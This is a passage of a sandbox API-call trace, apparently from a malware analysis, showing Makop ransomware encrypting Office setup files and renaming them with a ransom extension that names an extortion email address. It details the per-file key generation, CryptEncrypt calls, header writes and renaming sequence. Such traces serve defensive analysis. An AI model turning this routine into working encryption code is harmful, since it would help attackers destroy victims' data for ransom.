param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 157 [0091.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.853] CloseHandle (hObject=0x114) returned 1 [0091.854] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0091.854] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0091.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.854] GetProcessHeap () returned 0x48a0000 [0091.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.854] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.855] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.871] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.871] GetProcessHeap () returned 0x48a0000 [0091.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.871] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0091.871] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.872] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0091.872] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.872] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.872] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.872] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.873] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.873] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x73c, lpOverlapped=0x0) returned 1 [0091.873] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x740) returned 1 [0091.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.873] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x740, lpOverlapped=0x0) returned 1 [0091.873] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.874] SetEndOfFile (hFile=0x114) returned 1 [0091.879] GetProcessHeap () returned 0x48a0000 [0091.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.880] GetProcessHeap () returned 0x48a0000 [0091.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.880] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0091.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.884] CloseHandle (hObject=0x114) returned 1 [0091.885] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0091.885] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0091.885] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0091.885] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0091.885] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 92 [0091.885] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*") returned 96 [0091.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0091.889] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.889] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0091.889] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0091.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.891] GetProcessHeap () returned 0x48a0000 [0091.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.892] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.896] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.896] GetProcessHeap () returned 0x48a0000 [0091.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.896] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.896] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.896] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.897] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.897] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.897] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.897] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.897] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.897] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.898] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b78, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x3b78, lpOverlapped=0x0) returned 1 [0091.899] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x3b80, dwBufLen=0x3b80 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x3b80) returned 1 [0091.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.899] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x3b80, lpOverlapped=0x0) returned 1 [0091.900] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.900] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.900] SetEndOfFile (hFile=0x114) returned 1 [0091.907] GetProcessHeap () returned 0x48a0000 [0091.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.907] GetProcessHeap () returned 0x48a0000 [0091.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 152 [0091.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.908] CloseHandle (hObject=0x114) returned 1 [0091.909] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0091.909] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0091.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.911] GetProcessHeap () returned 0x48a0000 [0091.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.912] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.912] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xb, lpOverlapped=0x0) returned 1 [0091.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.916] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.916] GetProcessHeap () returned 0x48a0000 [0091.917] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.917] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.917] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.917] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.917] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.917] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.917] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.918] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.918] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.918] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.918] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x91975, lpOverlapped=0x0) returned 1 [0091.934] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x91980, dwBufLen=0x91980 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x91980) returned 1 [0091.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.941] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x91980, lpOverlapped=0x0) returned 1 [0091.946] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.946] SetEndOfFile (hFile=0x114) returned 1 [0091.953] GetProcessHeap () returned 0x48a0000 [0091.953] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.953] GetProcessHeap () returned 0x48a0000 [0091.953] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.953] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 152 [0091.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.955] CloseHandle (hObject=0x114) returned 1 [0091.955] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0091.955] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0091.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.957] GetProcessHeap () returned 0x48a0000 [0091.957] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.957] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, 